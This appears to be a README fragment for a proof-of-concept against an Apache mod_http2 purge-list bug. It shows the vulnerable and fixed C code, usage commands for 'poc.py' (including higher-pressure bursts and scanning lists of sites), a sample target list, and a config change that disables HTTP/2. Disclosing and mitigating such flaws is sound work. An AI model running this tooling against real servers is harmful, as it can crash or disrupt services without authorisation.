// Vulnerable (< v2.0.37)
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;  // can happen twice

// Fixed (v2.0.37+)
static int add_for_purge(h2_mplx *m, h2_stream *stream) {
    for (int i = 0; i < m->spurge->nelts; ++i)
        if (APR_ARRAY_IDX(m->spurge, i, h2_stream*) == stream)
            return FALSE;
    APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
    return TRUE;
}

pip install hpack requests

# Full PoC on a single target (default behavior)
python poc.py -t 192.168.1.100

# Increase pressure with more rounds, bigger bursts and more threads
python poc.py -t 192.168.1.100 -n 20 -b 500 -w 5

# Passive check only, nothing is sent to the target
python poc.py -t example.com --check-only

# Scan a whole list of targets
python poc.py -l sites.txt -o results.json

# Passive check on a list
python poc.py -l sites.txt --check-only

# Generate a Markdown report after the run
python poc.py -t target.com --report report.md

# one target per line, comments are ignored
192.168.1.100
example.com
example.com:8443
https://example.com
http://example.com:8080

# Before
Protocols h2 http/1.1

# After (disables HTTP/2)
Protocols http/1.1